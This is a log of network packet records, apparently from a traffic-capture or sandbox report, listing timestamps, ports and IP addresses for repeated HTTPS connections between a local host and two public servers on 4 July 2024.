Jul 4, 2024 20:16:18.351526976 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.352094889 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.352163076 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.352170944 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.352758884 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.352833986 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.352842093 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353107929 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353169918 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.353178024 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353692055 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353754997 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.353763103 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353892088 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.353952885 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.353960991 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354528904 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354590893 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.354598999 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354823112 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354886055 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.354892969 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354902029 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354948997 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.354954958 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.354980946 CEST	443	49740	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:18.355030060 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.355515957 CEST	49740	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:18.365880966 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:18.365928888 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:18.366007090 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:18.366343975 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:18.366358042 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:19.000336885 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:19.004153013 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:19.004200935 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:19.132551908 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:19.132908106 CEST	443	49741	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:19.132968903 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:19.133332014 CEST	49741	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:19.135087013 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:19.135116100 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:19.135199070 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:19.135492086 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:19.135504007 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:19.750915051 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:19.752813101 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:19.752844095 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:21.411058903 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:21.411139965 CEST	443	49742	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:21.411175966 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.411207914 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.412125111 CEST	49742	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.413315058 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.413353920 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:21.416312933 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.416625023 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:21.416637897 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.192917109 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.194703102 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.194737911 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.384979963 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.385009050 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.385049105 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.385077000 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.385119915 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.386034966 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.386042118 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.386105061 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.386111021 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.386122942 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.386167049 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.386173010 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.386208057 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.474299908 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.474385023 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.474396944 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.475076914 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.475142002 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.475147963 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.476478100 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.476536036 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.476541996 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.477417946 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.477475882 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.477480888 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.520760059 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.563684940 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.563694000 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.563767910 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.563779116 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.563934088 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.563992023 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.563997984 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.564142942 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.564207077 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.564213037 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.565138102 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.565201044 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.565207005 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.565999031 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.566143036 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.566150904 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.566730022 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.566795111 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.566801071 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.567019939 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.567080021 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.567085028 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.567778111 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.567842007 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.567847013 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.614398003 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.653489113 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653497934 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653579950 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.653599024 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653866053 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653894901 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653928995 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.653937101 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.653953075 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.654222965 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.654287100 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.654292107 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.654705048 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.654763937 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.654769897 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655060053 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655155897 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.655162096 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655575991 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655632973 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.655638933 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655812025 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.655875921 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.655881882 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656418085 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656491995 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.656497002 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656807899 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656845093 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656862974 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.656869888 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.656900883 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.657515049 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.657574892 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.657581091 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.657672882 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.657710075 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.657715082 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.657743931 CEST	443	49744	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:22.657783031 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.658060074 CEST	49744	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:22.666773081 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:22.666812897 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:22.666897058 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:22.667109013 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:22.667128086 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:23.242038965 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:23.244014978 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:23.244040012 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:23.433370113 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:23.433506012 CEST	443	49745	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:23.433563948 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:23.433721066 CEST	49745	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:23.434958935 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:23.434977055 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:23.435055971 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:23.435281992 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:23.435292959 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:24.058296919 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:24.060241938 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:24.060267925 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:25.725085974 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:25.725152016 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.725177050 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:25.725193024 CEST	443	49746	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:25.725246906 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.726128101 CEST	49746	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.727647066 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.727689028 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:25.727765083 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.728002071 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:25.728014946 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.343509912 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.345875025 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.345905066 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.510600090 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.510633945 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.510723114 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.510741949 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.510881901 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.511842966 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.511850119 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.511919975 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.511928082 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.512799978 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.512852907 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.512859106 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.512903929 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.601578951 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.601747990 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.601775885 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.602576971 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.602741003 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.602750063 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.604262114 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.604316950 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.604325056 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.605257988 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.605323076 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.605329990 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.645756960 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.693285942 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.693301916 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.693388939 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.693406105 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.693609953 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.693825006 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.693833113 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.694082022 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.694148064 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.694159985 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.694960117 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.695024967 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.695031881 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.695703983 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.695765972 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.695774078 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.696582079 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.696641922 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.696650028 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.697484970 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.697554111 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.697561979 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.697704077 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.697762966 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:26.697770119 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:26.739411116 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.749661922 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.749675035 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.749881983 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.749892950 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.749905109 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.749948025 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.749968052 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.749986887 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750185966 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750250101 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.750257015 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750549078 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750593901 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750610113 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.750613928 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.750644922 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.751142979 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751202106 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.751202106 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751213074 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751260996 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751269102 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.751274109 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751308918 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751316071 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.751319885 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751363039 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.751368046 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.751408100 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752154112 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752198935 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752217054 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752221107 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752253056 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752262115 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752264023 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752269983 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752319098 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752324104 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752340078 CEST	443	49747	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:27.752381086 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.752899885 CEST	49747	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:27.763161898 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:27.763197899 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:27.763304949 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:27.763580084 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:27.763596058 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:28.566401005 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:28.568583965 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:28.568603992 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:28.696754932 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:28.696857929 CEST	443	49748	13.107.42.12	192.168.2.6
Jul 4, 2024 20:16:28.696917057 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:28.697444916 CEST	49748	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:16:28.699215889 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:28.699259043 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:28.699357033 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:28.699662924 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:28.699681997 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:29.315547943 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:29.319928885 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:29.319977999 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.369765043 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.369852066 CEST	443	49749	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.369858980 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.369900942 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.370599031 CEST	49749	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.371846914 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.371876001 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.371952057 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.372155905 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.372167110 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.976358891 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:30.978419065 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:30.978451014 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168423891 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168445110 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168612957 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.168634892 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168682098 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.168875933 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168881893 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.168936014 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.168942928 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.169948101 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.170001030 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.170007944 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.170041084 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.270775080 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.270958900 CEST	49750	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:16:31.270972013 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.271002054 CEST	443	49750	13.107.139.11	192.168.2.6
Jul 4, 2024 20:16:31.271056890 CEST	49750	443	192.168.2.6	13.107.139.11
